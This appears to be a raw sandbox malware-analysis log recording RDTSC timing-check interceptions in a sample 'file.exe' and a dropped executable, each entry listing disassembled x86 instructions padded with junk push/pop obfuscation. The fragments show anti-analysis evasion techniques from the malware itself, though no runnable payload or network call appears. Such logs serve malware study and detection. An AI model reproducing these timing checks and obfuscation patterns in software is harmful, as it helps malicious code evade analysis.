Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6398A3 second address: 6398C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 jmp 00007F7BB4E67DE6h 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6398C5 second address: 6398C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6398C9 second address: 6398DC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7BB4E67DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6398DC second address: 6398FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BB475B409h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6398FB second address: 63991E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7BB4E67DD6h 0x00000008 jl 00007F7BB4E67DD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7BB4E67DDFh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63991E second address: 639922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639D20 second address: 639D49 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F7BB4E67DE9h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jnl 00007F7BB4E67DD6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639FD8 second address: 639FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 639FDC second address: 639FEB instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7BB4E67DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A43F second address: 63A452 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B3FDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A452 second address: 63A45E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A45E second address: 63A464 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A57D second address: 63A59F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE1h 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63A59F second address: 63A5B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a push ebx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jbe 00007F7BB475B3F6h 0x00000013 pop ebx 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EB07 second address: 63EB0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EB0B second address: 63EB1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F7BB475B3F8h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EB1D second address: 63EB23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EBBE second address: 63EBC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EBC2 second address: 63EBC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640A3E second address: 640A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640A42 second address: 640A91 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE0h 0x00000007 jmp 00007F7BB4E67DDFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F7BB4E67DE5h 0x00000017 jmp 00007F7BB4E67DDDh 0x0000001c popad 0x0000001d push esi 0x0000001e push esi 0x0000001f pop esi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 640A91 second address: 640A96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60265 second address: 4F60269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60269 second address: 4F6026F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6026F second address: 4F60296 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F7BB4E67DE0h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60296 second address: 4F6029C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6029C second address: 4F602AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BB4E67DDBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F602DB second address: 4F602E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F602E1 second address: 4F602FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d movsx ebx, ax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6037F second address: 4F60384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60384 second address: 4F6038A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6038A second address: 4F6038E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6038E second address: 4F603C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d call 00007F7BB4E67DDCh 0x00000012 mov di, cx 0x00000015 pop ecx 0x00000016 movsx ebx, cx 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 mov ax, BE37h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F603C6 second address: 4F603EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B3FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F7BB475B3FEh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F603EE second address: 4F603F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F603F2 second address: 4F603F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F603F8 second address: 4F603FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F603FE second address: 4F60402 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60423 second address: 4F60427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60427 second address: 4F60444 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60534 second address: 4F60538 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60538 second address: 4F6053E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6053E second address: 4F6054D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BB4E67DDBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6054D second address: 4F6062C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub edx, esi 0x0000000d jmp 00007F7BB475B407h 0x00000012 mov edi, dword ptr [ebp+08h] 0x00000015 jmp 00007F7BB475B406h 0x0000001a dec edi 0x0000001b jmp 00007F7BB475B400h 0x00000020 lea ebx, dword ptr [edi+01h] 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F7BB475B3FEh 0x0000002a or esi, 0CCB9208h 0x00000030 jmp 00007F7BB475B3FBh 0x00000035 popfd 0x00000036 pushfd 0x00000037 jmp 00007F7BB475B408h 0x0000003c sub eax, 5398B468h 0x00000042 jmp 00007F7BB475B3FBh 0x00000047 popfd 0x00000048 popad 0x00000049 mov al, byte ptr [edi+01h] 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f call 00007F7BB475B3FBh 0x00000054 pop eax 0x00000055 jmp 00007F7BB475B409h 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6062C second address: 4F60632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60632 second address: 4F60636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60636 second address: 4F6063A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6063A second address: 4F60698 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F7BB475B400h 0x00000012 adc ax, 0C58h 0x00000017 jmp 00007F7BB475B3FBh 0x0000001c popfd 0x0000001d pushfd 0x0000001e jmp 00007F7BB475B408h 0x00000023 jmp 00007F7BB475B405h 0x00000028 popfd 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60698 second address: 4F6069E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6069E second address: 4F606A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60776 second address: 4F6077A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6077A second address: 4F6077E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6077E second address: 4F60784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60784 second address: 4F607A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 mov dl, cl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, dword ptr [ebp-10h] 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7BB475B406h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F607A9 second address: 4F607F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB4E67DDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F7BB4E67DE4h 0x00000017 and si, 6418h 0x0000001c jmp 00007F7BB4E67DDBh 0x00000021 popfd 0x00000022 movzx eax, dx 0x00000025 popad 0x00000026 pop ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov si, CB63h 0x0000002e mov ebx, ecx 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F607F5 second address: 4F60809 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BB475B400h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60809 second address: 4F60828 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a call 00007F7BB4E67DDDh 0x0000000f pop ebx 0x00000010 popad 0x00000011 pop esi 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60828 second address: 4F6082C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F6082C second address: 4F60423 instructions: 0x00000000 rdtsc 0x00000002 call 00007F7BB4E67DE0h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov bx, 4876h 0x0000000e popad 0x0000000f pop ebx 0x00000010 pushad 0x00000011 mov bx, F04Eh 0x00000015 call 00007F7BB4E67DDFh 0x0000001a movzx esi, dx 0x0000001d pop edx 0x0000001e popad 0x0000001f leave 0x00000020 pushad 0x00000021 jmp 00007F7BB4E67DDEh 0x00000026 pushfd 0x00000027 jmp 00007F7BB4E67DE2h 0x0000002c add ax, 57F8h 0x00000031 jmp 00007F7BB4E67DDBh 0x00000036 popfd 0x00000037 popad 0x00000038 retn 0008h 0x0000003b cmp dword ptr [ebp-2Ch], 10h 0x0000003f mov eax, dword ptr [ebp-40h] 0x00000042 jnc 00007F7BB4E67DD5h 0x00000044 push eax 0x00000045 lea edx, dword ptr [ebp-00000590h] 0x0000004b push edx 0x0000004c call esi 0x0000004e push 00000008h 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 push edx 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F609DF second address: 4F609F2 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ebx, eax 0x00000008 popad 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, 841Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F609F2 second address: 4F609F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 6EF2AB second address: 6EEBBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jg 00007F7BB475B3F6h 0x0000000e popad 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 stc 0x00000014 push dword ptr [ebp+122D01FDh] 0x0000001a or dword ptr [ebp+122D222Ch], eax 0x00000020 call dword ptr [ebp+122D36FCh] 0x00000026 pushad 0x00000027 add dword ptr [ebp+122D2181h], esi 0x0000002d xor eax, eax 0x0000002f jmp 00007F7BB475B3FFh 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 mov dword ptr [ebp+122D2181h], eax 0x0000003e mov dword ptr [ebp+122D3AC0h], eax 0x00000044 jno 00007F7BB475B403h 0x0000004a sub dword ptr [ebp+122D255Fh], ecx 0x00000050 mov esi, 0000003Ch 0x00000055 stc 0x00000056 mov dword ptr [ebp+122D255Fh], edi 0x0000005c add esi, dword ptr [esp+24h] 0x00000060 mov dword ptr [ebp+122D2181h], ecx 0x00000066 lodsw 0x00000068 pushad 0x00000069 sub ax, BFBAh 0x0000006e sbb edx, 54EC89E5h 0x00000074 popad 0x00000075 add eax, dword ptr [esp+24h] 0x00000079 jmp 00007F7BB475B3FAh 0x0000007e mov ebx, dword ptr [esp+24h] 0x00000082 jnc 00007F7BB475B40Eh 0x00000088 push eax 0x00000089 pushad 0x0000008a push eax 0x0000008b push eax 0x0000008c push edx 0x0000008d rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 86175E second address: 86176A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F7BB4E67DD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 86176A second address: 861780 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BB475B3FAh 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F7BB475B3F6h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 86844E second address: 868457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 868457 second address: 86848B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7BB475B402h 0x00000008 jmp 00007F7BB475B3FCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jl 00007F7BB475B409h 0x00000016 jmp 00007F7BB475B403h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 86848B second address: 868495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F7BB4E67DD6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 868495 second address: 868499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 86875E second address: 868762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 868762 second address: 868766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 868766 second address: 868777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7BB4E67DD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8688B3 second address: 8688D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F7BB475B403h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8688D0 second address: 8688FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BB4E67DDDh 0x00000009 jnp 00007F7BB4E67DD6h 0x0000000f jmp 00007F7BB4E67DDCh 0x00000014 popad 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 8688FD second address: 868901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 868901 second address: 868905 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 868905 second address: 868915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7BB475B3FAh 0x0000000b rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 868915 second address: 868926 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BB4E67DDDh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 868C35 second address: 868C39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 868D85 second address: 868D8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 868D8B second address: 868DA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 jg 00007F7BB475B40Ch 0x0000000d pushad 0x0000000e jnp 00007F7BB475B3F6h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 86AF6F second address: 86AFC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 add dword ptr [esp], 367CCD32h 0x0000000d mov dword ptr [ebp+122D2795h], edi 0x00000013 push 00000003h 0x00000015 mov esi, dword ptr [ebp+122D38C0h] 0x0000001b push 00000000h 0x0000001d xor dword ptr [ebp+122D29C3h], ecx 0x00000023 push 00000003h 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007F7BB4E67DD8h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 00000017h 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f adc cx, 15B3h 0x00000044 push ABFB93ABh 0x00000049 push ebx 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 86B194 second address: 86B19A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	RDTSC instruction interceptor: First address: 86B19A second address: 86B1AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
